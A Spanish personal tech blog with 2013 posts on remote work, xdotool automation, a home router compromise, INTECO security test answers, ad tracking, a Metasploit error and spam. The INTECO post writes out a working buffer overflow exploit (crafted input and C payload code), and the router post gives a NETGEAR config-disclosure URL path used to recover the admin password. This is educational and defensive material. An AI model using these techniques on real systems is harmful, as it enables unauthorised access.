Redes Sociales

miércoles, 25 de diciembre de 2013

Ideas para gestionar equipos de trabajo en remoto

después de un tiempo sin publicar por fin vuelvo a tener tiempo para dedicarle un poco al blog. Y lo voy a hacer hablando de un tema que tengo ahora candente: el trabajo en remoto o tele trabajo.

A lo largo de mi carrera, que comienza a ser dilatada y habiendo pasado por unas cuantas empresas, he tenido en dos ocasiones (prolongadas) que tener que trabajar en remoto. Desde casa, para ser más precisos.

En el primer periodo, que duró más o menos un año, se trataba de hacer tareas de mantenimiento de sistemas. Hablo de sistemas Solaris, HP-UX, Oracle, etc. Levantar maquinas, bases de datos, hacer backups, etc. Vamos, lo típico. En el segundo periodo, mas corto, de apenas 6 meses, las tareas a realizar eran un poco más CPPR. De consultoría, vamos.

Fueron dos periodos muy diferentes, pero aprendí varios cosas, comunes a ambos periodos, que creo que me dan cierto bagaje como para opinar en la problemática que tanto nos encontramos en la empresa española. Y es más, dado que en ambos peridos he tenido a mi cargo equipos de trabajo (aunque mas bien pequeños, de 4 y 3 personas respectivamente), creo poder hacerlo desde el punto de vista del empleador, cosa mas complicada de conseguir:

  • Primero. El trabajo en remoto es posible. Y no solo eso, es muy rentable para la empresa. A los consabidos ahorros en internet, luz, mantenimiento de localese, etc, hay que tener en cuenta que el trabajador, si le gusta su trabajo, te va a hacer muchas más horas de trabajo que si tuviera que ir físicamente a un centro de trabajo, con un horario al que probablemente no se adapte y perdiendo parte de su vida en transporte.
  • Segundo. Ya lo he dicho (y subrayado) en el primer punto. Para conseguir los mejores resultados, es importante que al trabajador le guste su trabajo. Si se trata de un trabajo rutinario, también es posible conseguir buenos resultados con el teletrabajo, pero será más dificil y dependerá mucho más de se la persona esta comprometida con su trabajo o no.
  • Tercero. Y esto es importante. El teletrabajo no es para todo el mundo. Hay gente que se implica con su trabajo y gente que no. Por supuesto, todos los trabajos tienen su parte tediosa y hay gente que si no tienen a alguien detrás, presionando, no son capaces de trabajar. Eso es algo a tener en cuenta y por eso es importante comenzar siempre con un periodo de prueba. Si tras ese periodo de prueba, vemos que el trabajador te curra y puedes confiar en él/ella, podrás hacerlo casi siempre en el futuro.
  • Cuarto. Es importante también darle al trabajador unos objetivos. Objetivos diarios o semanales. Y que el trabajador amolde un poco (un poco, solo) su horario para tener el trabajo hecho al final del dia o semana. Esto lleva cierta carga extra de gestion, pero tampoco es algo exagerado. Y claro esto implica también que no todos los proyectos son susceptibles de permitir el trabajen remoto.
  • Quinto. También hay que hacer ver al trabajador que, aunque se esta trabajando en remoto, forman parte de un equipo. Hay que tener reuniones periodicas con el equipo, tanto online (skype...) como presenciales. Es un requisito. El equipo se debe conocer.
  • Sexto. El exceso de control no es malo. Al menos los primeros meses hasta conocernos. Es bueno que el trabajador sepa que tiene alguien detrás, para apoyar y controlar. Posteriormente es posible que ese control no sea necesario.

Estas son solo algunas ideas que me vienen a la cabeza, pero con un poco de control, trabajo por objetivos, un tiempo de prueba y un trabajo que agrade al trabajador, es perfectamente factible (y rentable). Algunos de los puntos anteriormente comentados han quedado demostrados por estudios realizados en EEUU. En este estudio se observó que los empleados que trabajan de forma remota muestran un nivel de compromiso mayor que el de los empleados que trabajan desde la oficina. Lo que no indica es si los trabajadores que estaban en sus casas hacian un trabajo que les gustaba o no.

También se muestra que el nivel más alto compromiso lo tienen los empleados que llevan poco tiempo trabajando en remoto o trabajan de forma remota menos de 20% del tiempo. El trabajador se amolda y para eso es necesario un supervisor que se encargue de su control.

En este otro estudio se menciona que es mas facil retener y atraer a empleados de alto potencial si se les permite trabajar en remoto. Es lógico.

Entonces ¿por que tanto miedo a destapar la lata?. Mi opinión es por una falta de confianza en el trabajador. Debo de decir que entiendo los miedos del empresario. En una sociedad como la española en que el idolatrado es el que menos trabaja y el que mas engaña, los que trabajan en remoto son como superheroes que han conseguido engañar a su empresa. Hay que rechazar esa idea. En paises del norte de europa, EEUU, es perfectamente normal el "Home working" y estos no implica una reduccion de la eficiencia del trabajador. además, cada persona es diferente y mientras hay gente que vale para trabajar en remoto, hay otra que no vale.

.

Si quieres reducir los costes y tienes un proyecto de larga duracion, que permita el trabajo por objetivos, no tienes tanto que perder, sobre todo si pones en ese proyecto a gente de confianza. Yo lo haría.

sábado, 16 de noviembre de 2013

Automatización de raton en diferentes arquitecturas

Todos tenemos nuestros hobbies fuera de la informática. Y uno de los mios es la genealogía. Me encanta rebuscar entre documentos que tienen 400 años en busca de un misero dato que en el fondo no nos dice nada.

Para los que no sepáis cómo es este mundo. Básicamente consiste en pasarse múltiples horas hojeando los libros de bautismos y matrimonios que los curas de las iglesias iban escribiendo. Por suerte muchos de estos libros han sido escaneados y esos valiosos documentos de 400 años pueden mantenerse a salvo de incautos como yo.

Entrando ya en materia, el problema que tenía con la aplicación donde se almancenan esas copias escaneadas de los libros es que:

  • a) La web es lenta
  • b) Sólo deja descargarse hojas sueltas
  • c) Es necesario revisar a veces libros de 600 páginas, folio a folio.

Estas características hacen el trabajo del genealogista, ya de por si muy pesado, aún más tedioso.

Como soy informático y me gusta mucho el tema de la automatización de tareas me planteé la forma de automatizar al descarga de libros completos, pagina a página para, una vez descargados, unirlos en un PDF.

El primer problema que encontré fue la aplicación que utilizaban era embebida y solo tenia un frontend en flash. No me valia pues Python.

Me puse a buscar un lenguaje de programacion que me permitiera hacer clicks en posiciones de la pantalla, y encontre aplicaciones como Automouse o autoclick que permiten hacer clicks en posiciones de pantalla en concreto, sin embargo no me valia, necesitaba que se metiera texto cuando lo necesitaba y que tuviera variables que crecieran donde se alojara por ejemplo la página que estaba en ese momento descargándome.

Así conocí AutoIT, un lenguaje de scripting que me permitía hacer todo lo que quería desde Windows.

Con comandos como MouseClick("left",75,43) que me llevaba a la posición 75,43 de la pantalla y me hacia click con el botón izquierdo. Y comandos como InputBox("Titulo") que me permitía guardar en variable lo que escribiera el usuario. Así saque este script:

Este script en concreto, detecta si el directorio donde se va a guardar las imagenes existe o no, se adapta a los libros automaticamente, se recupera de errores y al final convierte las imagenes en PDF.

Una vez conocí bien AutoIT lo he utilizado en el trabajo para automatizar tareas repetitivas. Eso lo contaré en otras entrada.

Recientemente en casa me di cuenta que mientras descarga libros no puedes hacer nada más en el equipo (la aplicación mueve el raton cada pocos segundos) durante un par de horas, a no ser que tuviera máquinas virtuales donde poder correr el script.

Como tenia a mano un linux en otra máquina pense si existiría AutoIT para Linux. La respuesta fue negativa. Pero si encontré algo parecido y conocido como xdotool

Aunque aún no la he estudiado en profundidad, tiene aspecto de permitirme hacer todo lo que he podido hacer con AutoIT. A diferencia de AutoIT, que es un lenguaje de scripting, xdotool es una aplicación que admite una serie de parametros o comandos y que debe ser lanzado de forma repetitiva desde un script BASH. Para hacer muchas otras tareas que hace autoIT, nos tenemos que basar en los comandos de Linux desde linea de comandos. En cualquier caso no me costó mucho conseguir algo parecido a lo que tenia hecho en AutoIT en WIndows:


‎#!/bin/bash

PAGINAS=421
DIRECTORY=/home/lmartin/Genealogia
PUEBLO=MARAZOLEJA
C=197
mkdir $DIRECTORY/$PUEBLO 2>/dev/null

xdotool sleep 3 

while [ $C -lt $PAGINAS ]
do

#ESPERO 10SG A QUE SE CARGUE LA IMAGEN
xdotool sleep 10 

#LE DOY A GUARDAR IMAGEN
xdotool mousemove 1218 565 click 1

#ESPERAMOS 10SG A QUE SE GUARDE EN DISCO
xdotool sleep 10 

mv /home/lmartin/Descargas/record-image.jpg $DIRECTORY/$PUEBLO/$C.jpg

#HAGO CLICK EN "SIGUIENTE IMAGEN":
xdotool mousemove 208 235 click 1

((C++))
done

xdotool esta disponible para Debian y Ubuntu, FreeBSD, Fedora, Mac OS X y OpenSUSE.

Y una vez hecho me dije y por que no hacerlo en el IPAD, en el fondo es un UNIX... Si, es verdad pero lo que me daba cuenta eran las fuertes restricciones que aplica Apple al desarrollo de Apps. De hecho no encontré ninguna App comercial que hiciera algo similar. En esta web recomendaban hacerlo via VNC desde el PC. No me parecia una solucion factible. Finalmente encontré en Cydia una App de pago llamada AutoTouch que permite grabar una serie de taps y sus posiciones y luego reproducir esa secuencia de movimiento, a la par que genera código LUA que luego podemos modificar.

Autotouch, una App muy recomendable para automatizar miles de tareas con nuestro Ipad, aunque eso sí, es necesario hacer jailbreak a nuestros dispositivo iOS. Cabe mecionar que también esta disponible para Android, aunque es posible que para Android haya otro tipo de Apps de características similares.

martes, 5 de noviembre de 2013

La importancia de la actualizarse, Andres

Desde hace unos dias venia notando que la conexión a internet me iba lenta. Por mas que desactivaba servicios y herramientas como el utorrent, la cosa no iba del todo bien.

Me ha llamado la atencion ver esta mañana en los logs del router que el mes pasado descargue 40Gb.... y subi 55Gb!!. Esto puede ser en cualquier caso a causa del uTorrent, pero en todo caso me sigue pareciendo un uso excesivo de Internet.

A raiz de esta ingente cantidad de datos subida a internet desde mi red, me puse a mirar los logs. Cual fue mi sorpresa encontrar mensajes de indicaban a grandes rasgos (no tengo el mensaje original) que me estaban accediendo desde las IPs 46.174.199.10 (Rusia) y 113.200.214.43 (China) entre otras a un mismo puerto (el 64662) de mi portatil:

(...)
[LAN access from remote] from 46.174.199.10:22342 to
192.168.XX.XX:64662, Tuesday, Nov 05,2013 11:16:22
[LAN access from remote] from 113.200.214.43:33121 to
192.168.XX.XX:64662, Tuesday, Nov 05,2013 11:14:01
(...)

¡Bicho!, pensé y seguro que no ando desencaminado. El caso es que al mirar los puertos abiertos dicho puerto no aparece en mi portatil, lo cual no quiere decir nada, puede ser que tenga un bicho que se conecta con un servidor C&C cada X tiempo.

Lo primero que he mirado ha sido a ver si el router (Un NetGear N-150 WR1000) tenia alguna vulnerabilidad y Google me ha respondido que si:

http://www.exploit-db.com/exploits/24916/

Según nos comentan aqui en los NETGEAR N-150 WNR100v3 con firmware anterior a 1.0.2.60 se puede conseguir el fichero de configuración del router accediendo a la URL indicada en el articulo:

http:///NETGEAR_fwpt.cfg?.jpg

...y ciertamente se descarga un fichero cifrado con extension .cfg:

Como indica el articulo, el fichero esta cifrado. Pero dan una "solución" para eso: Un programita en Python.

Al pasarle el programita en python, con alguna pequeña modificación necesaria, entre toda la morralla de la configuración del NetGear, la contraseña aparece en limpio la contraseña de la interfaz web del router:

La solución ha sido, por supuesto, actualizar el firmaware del Router, cosa que he hecho, desde la versión 1.0.2.18 a la 1.0.2.62 (tiene sus años el aparato).

También he cambiado la contraseña del router y de la red wifi

Lo cierto es que despues de adoptar estas medidas:

  1. Me va mejor la red
  2. Me va mejor internet
  3. Han dejado de aparecer esos mensajes que mostraba más arriba.

En cualquier caso, dicho router no esta abierto al exterior, por lo que es poco probable que me hayan sacado la contraseña del router de esta manera. Tiene más bien aspecto de que uno de mis equipos ha sido infectado.

Ahora solo me queda revisar todos los equipos y seguir monitorizando la red. O sea lo de siempre!.

La verdad es que constantemente se recomienda actualizar todo el software y el sistema operativo a la ultima version, pero nos olvidamos muchas veces de que por los routers pasa toda la información y que tambien tenemos que actualizarlos y hacerles un mantenimiento...

lunes, 28 de octubre de 2013

Respuestas a las pruebas de INTECO (2 de 2)

El pasado mes de Julio comencé a explicar mis respuestas a las pruebas de INTECO del pasado mes de Julio, sin embargo me dejé la segunda parte, que publico ahora:

Análisis de vulnerabilidades

La tercera prueba tenía que ver con un buffer overflow. Mostraban un trozo de código en ensamblador y preguntaban:

Pregunta 1:Explicar detalladamente, indicando direcciones de memoria, que sucede cuando se ingresan demasiados caracteres.[30%]

Respuesta:

El problema que ocurre aquí es que no se esta usando espacio de direccionamiento de datos para almacenar el nombre, se r eservan, en cambio, 28hex, o sea 40 bytes de espacio en la pila.

Como se ve en la instrucción 00401293, se está haciendo un SUB ESP,28, o sea reduciendo el tope de la pila (que crece hacia abajo) para que ahí se almacene el nombre.

Con valores concretos:

Al iniciar la función, el top de la pila tiene la instrucción desde la que ha sido llamada (004012F4). En ese momento ESP es 22FF5C y al hacer el PUSH EBP pasa a ser 0022FF58.

Con estos valores, el programa puede volver a la función que lo referencio al ejecutar el comando final RETN

00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  83EC 28       SUB ESP,28

Al restarle 28hex ESP tiene el valor 22FF30, LOCAL.10 resuta ser la misma dirección: 22FF30, LOCAL.6 es 22FF40 y LOCAL.9 es 22FF34. Deberiamos poder meter un nombre de 40 caracteres, pero como se esta almacenando en LOCAL.6, en realidad se tienen solo 24 caracteres. Y ni eso porque siempre hay que contar el 0 final con el que acaban las cadenas en C. Asi pues 23 caracteres máximo.

00401296  |.  C70424 003040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; /format => "Introduce tu nombre: "
0040129D  |.  E8 9E050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012A2  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012A5  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012A9  |.  C70424 163040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "%s"
004012B0  |.  E8 7B050000   CALL <JMP.&msvcrt.scanf>                 ; \MSVCRT.scanf
004012B5  |.  8D45 E8       LEA EAX,[LOCAL.6]
004012B8  |.  894424 04     MOV DWORD PTR SS:[LOCAL.9],EAX           ; /<%s> => OFFSET LOCAL.6
004012BC  |.  C70424 193040 MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 ; |format => "Te llamas %s
"
004012C3  |.  E8 78050000   CALL <JMP.&msvcrt.printf>                ; \MSVCRT.printf
004012C8  |.  C9            LEAVE
004012C9  \.  C3            RETN



Pregunta 2: ¿Qué sucede cuando el nombre ocupa 28 caracteres?[20%]

Si metemos 28 caracteres, nos cargaremos el valor de EBP y añadiremos un 0 al final de la dirección de retorno (debido al 0 final de las cadenas en C), haciendo que la dirección de retorno sea a la 00401200 en vez de a la 004012F4 como debería ser. De esta manera al ejecución continua en un punto completamente diferente.




Pregunta 3: ¿Es posible usar la vulnerabilidad para ejecutar código en el sistema? Si es posible, muestra el código fuente de un programa que lo explote.[50%]

Dado que es un ejecutable Windows, es posible hacerlo desde la misma línea de comandos. Se crea un fichero de texto con 28 caracteres visibles, por ejemplo “1234567890123456789012345678” y a continuación se modifica en hexadecimal para añadirle la dirección de memoria a la que queremos que salte, por ejemplo 0x00, 0x40, 0x12, 0x96. De esta manera al ejecutar:

C:\>type exploit.txt | vulnerabilities.exe

En vez de volver a la direccion de retorno adecuada, saltará a la que le hemos indicado: 00401296 que hará que vuelva a preguntar el nombre una y otra vez.

Si lo que se desea es un programa, en este ejemplo saltamos la ejecución a 0022FF60, que es la siguiente posición en la pila y luego empezamos a meter código de nuestra elección:

#include 
int main()
{
char mona[] =             "\x34\x33\32\x31\x38\x37\x36\x35\x32\x31\x30\x39\x36\x35\x34\x33\x30\x39\x38\x37\x30\x30\x30\x30\x30\x30\x30\x30\x00\x22\xFF\x60\XC7\x04\x24\x00\x22\xFF\x30\xE8\x9E\x05\x00\x00";

FILE *file; 
file = fopen("exploit.txt","w"); 
fputs(mona,file);
fclose(file); 

 system(“type exploit.txt | vulnerabilities.exe ”);

}

El codigo que he metido despues ha sido una copia de lo encontrado en las líneas 00401296:

MOV DWORD PTR SS:[LOCAL.10],OFFSET 00403 
CALL    

…pero vamos ya podíamos meter lo que quisiéramos.




Para la cuarta prueba, daban un fichero "dd" y hacian las siguientes preguntas. Por desgracia para esta prueba no tuve tiempo y tuve que dejarlo en blanco:

Análisis forense

Pregunta 1: Indicar si la máquina está comprometida y en caso afirmativo con qué tipo de código malicioso, aportando las pruebas encontradas del mismo. [15%]

Pregunta 2: ¿Tiene procesos, bibliotecas o módulos ocultos en el sistema?. En caso afirmativo, indicar cuales con todos los detalles de los mismos y los métodos de detección utilizados. [30%]

Pregunta 3: ¿Existe algún tipo de indicio de comunicaciones en el sistema que permitan el control remoto del mismo? En caso afirmativo explicar detalladamente. (direcciones IP, puertos, procesos, ruta de los ficheros implicados, comandos ejecutados, privilegios en el sistema, etc.)[20%]

Pregunta 4: Extraiga los ficheros maliciosos identificados en el sistema e indique los hash (SHA256) de los mismos y la ruta donde están ubicados en el disco duro de la máquina.[20%]

Pregunta 5: Explicar cómo tiene persistencia en el sistema, aportando las evidencias encontradas.[15%]

La publicidad personalizada de Google y Yahoo

Cada vez más frecuentemente nos encontramos con que al entrar en una página nos aparecen anuncios de los productos que hemos estado comprando online recientemente.

Es lo que se llama publicidad personalizada y desde mi punto de vista es un atentado claro contra la intimidad.

A partir de esos anuncios personalizados, otra persona que utilice nuestro ordenador podria hacerse una idea de cuales son nuestros gustos y tendencias.

Un ejemplo es el siguiente:


Un rato antes de visitar esta página he estado mirando tarjetas de visita y precisamente he mirado esas. Que curioso, ¿no?.

Lo cierto es que en los blogs gratuitos la publicidad la publicidad nos viene impuesta, las páginas web muchas veces se financian gracias a este tipo de publicidad.

¿Y como obtienen la información de lo que he estado comprando?

Hay dos métodos principalmente, a partir de las cookies que ha dejado en nuestro ordenador la web donde hemos estado de compras y sobre todo gracias al historial de visitas de las grandes compañias: Google, Yahoo, Msn, etc.

En concreto durante el tiempo que estuve de compras, me quedé conectado tanto a mi cuenta de Yahoo!, como a mi cuenta de Google. Y es de éstos historiales que guardan ambas compañías de donde obtienen la información para realizar la "publicidad personalizada".

Hay forma de eliminar este tipo de publicidad. Si nos fijamos bien, en la parte superior del anuncio aparece un pequeño triangulo azul:


Al "clicar" sobre dicho nos lleva a la página de información de la compañia que nos esta ofreciendo la publicidad. En mi caso fueron tres diferentes:

Yahoo!

Al hacer clic sobre el triangulo superior del anuncio me redirigió a esta página donde explica por qué sale la publicidad y cómo obtienen la información relevante.
A medio anuncio, hay un boton (encubierto) con el texto "administre" que nos permite modificar la configuración de los (como ellos les llaman) "anuncios basados en intereses":
Al pulsar el boton nos lleva a una segunda página donde, ahora si, podemos eliminar la publicidad personalizada (dándole al botón excluir):

Evidon
Curiosamente, tras seguir estos pasos, al recargar la página con el anuncio, me salía un segundo anuncio, muy similar al anterior, que claramente seguía siendo publicidad personalizada.

Volví a repetir los mismos pasos y me encontré con que la página de información a la que era reenviado ya no tenía nada que ver con Yahoo!:


Asi que en este caso era una empresa de publicidad, más pequeña, la que me quería seguir vendiendo tarjetas...

Pues nada, tras leer un poco, vi que da la opción de "opt-out from selected companies". Vamos que no era solo Yahoo!, sino que sin saberlo, parace que yo estaba siendo un filón para determinadas compañías de internet.

Google
Al refrescar el anunció me mosqueó ver otro anuncio claramente personalizado. Mosqueado volví a seguir los pasos antes mencionados y me encontré con que esta vez era la propia Google la que estaba rastreando mi historial.

Esta vez al darle al triangulo verde, nos lleva a esta página:


Donde nos cuentan de nuevo todos los beneficios del servicio de anuncios de Google... Para, de nuevo,  perimtir cambiar la configuración, haciendo click en "Ad Settings". 

Donde, en la parte de abajo se puede, en la sección "inhabilitacion", inhabilitar los anuncios basados en intereses en Google y habilitar los anuncios de Google Basics.

Des pués de esto, al recargar la página siguieron saliendo anuncios, pero esta vez no relacionados, al menos que yo sepa, con mi historial de navegación:


Volví a hacer clic sobre el triangulo azul que me volvió a llevar a una página de Google, pero esta vez, me indicaba claramente que la publicidad personalizada esta deshabilitada.

Esto significa que esta página web tiene contratada su publicidad con Google, entre otros, y ésta intenta siempre mostrar antes de nada anuncios personalizados y si no, muestra anuncios más genéricos.

Otras compañías
Existen mutitud de otras compañias de publicitarias que operan de la misma manera. Estas tres que menciono son solo la punta del iceberg y en todas ellas existirá alguna forma de administrar que aparezcan o no los anuncios personalizados, tal y como se ha hecho con estas tres.

Cabe mencionar que deshabilitar la publicación de anuncios personalizados, no quiere decir que estas compañias esten dejando de "espiarnos". Recabarán toda la información que puedan siempre de nuestros habitos y paginas visitadas y encontrarán, seguro, alguna forma de aprovecharse de ello.

Para intentar evitar al máximo que compañias como Google y Yahoo se dediquen a almacenar lo que vamos haciendo, se pueden seguir algunos consejos:

1.- Utilizar la navegación privada (Ctrl + Shift + N en Google chrome, Ctrl + Shift + P en Firefox y también Ctrl + Shift + P en Internet Explorer)

2.- No mantenerse logado con nuestro usuario de Google, Yahoo, Msn, o el que sea mientras navegamos por internet. Debemos usar estos usuarioss en su momento adecuado y cuando dejemos de hacer uso del correo del google o los grupos de Yahoo, o lo que quiera que estemos usando, deslogarse automáticamente.

Slds

miércoles, 16 de octubre de 2013

Metasploit Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections

Hoy al levantarme y abrir el metasploit me encuentro con que no me abre por un error aparentemente claro:

"Database FATAL Error: Remaining connection slots are reserved for non replication superuser connections"

Me acuerdo de que el día anterior he dejado lanzado un db_autopwn que es lo más parecido al ping de la muerte que se puede lanzar. "Debo haber petao la base de datos", pienso. Hasta que me pongo a buscar la base de datos y coño, no existe. De hecho, prueba a instalar postgresql y la instala, "es decir esta funcionando sin base de datos". Craso error. Esta funcionando con base de datos y con un postgresql, pero es el postgresql que viene por defecto con el metasploit, haciendo un ps me encuentro con esto:

Pues nada, a matar:

for i in `ps -ef | grep idle | grep -v grep | awk '{ print $2 }'`; do kill -9 $i; done

Como vemos acaba de crear un proceso similar, pero todos los anteriores, del lanzamiento del db_autopwn, ya no estan. Intentamos abrir el metasploit ahora, et voila!. Vamos, una chorrada:

martes, 8 de octubre de 2013

Spam de todos los colores

El SPAM sigue siendo uno de los mayores quebraderos de cabeza con los que tanto usuarios, como administradores de sistemas se siguen encontrando.

En ocasiones no es facil saber cuando un correo es SPAM, aunque ciertamente, con algo de ojo y un poquito de experiencia, nadie debería ser engañado por un correo de este tipo, pero ya se sabe de entre un millon de receptores, alguien va a picar. Seguro. Y podriamos ser cualquiera de nosotros.

Y es que el SPAM malicioso (ojo, que hay que distinguir porque existe otro tipo de SPAM que es solamente eso, molesto) va actualmente va dirigido a todo el mundo y para ello se aprovecha de todo tipo de recursos.

Las temáticas que aprovecha son de todo tipo, grandes calamidades, por ejemplo recientemente:

o de dias señalados del año como:

Pero no son solo dias memorables americanos y rusos, tambien podemos encontrar días más "españoles" como:

Estos son un clásico y cada año se crean nuevas campañas de SPAM dirigidas a días tan señalados.

También son objetivo de los spammers aspectos aparentemente menos "celebrables":

Por supuesto, en un entorno informatico como es la base del SPAM, también se aprovechan de las aplicaciones informáticas móviles y servicios de internet que conforman la web 3.0 actual:

Podriamos seguir asi hasta rellenar un libro entero, pero tampoco tiene sentido. Cualquier evento que ocurra, noticia relevante, dia señalado, etc. es una excusa para lanzar una nueva campaña de SPAM. Podríamos pensar cualquier hecho noticiable que haya ocurrido en los ultimos 5 años y buscar en google y muy probablemente encontraríamos que ha sido utilizado como parte de una campaña de SPAM.

Sin embargo a partir de los ejemplos que he señalado antes podría pensarse que el SPAM va dirigido a EEUU, Rusia, China, Irlanda o Reino Unido. Y nada más lejos de la realidad, podemos encontrar, sin demasiado esfuerzo ejemplos de SPAM con objetivo claramente español:

Para evitar caer en ellos tenemos que tener claro que es correo que NO esperamos recibir, en muchas ocasiones escrito en inglés u otro idioma desconocido, con faltas de ortografía o frases sin sentido y que siempre siempre te anima a:

  • hacer click en un enlace
  • abrir un documento adjunto

Lo de que venga en inglés no es un metodo seguro de filtrar el SPAM, hay muchos casos de SPAM malicioso en español que podria engañarnos.

...el objetivo es siempre engañar y los spammers saben muy bien lo que va a llamar la atención de la gente. Y lo aprovechan. Por eso, cuando recibais un correo que no esperamos hay que abrirlo siempre con precaución, uno nunca sabe que podría contener.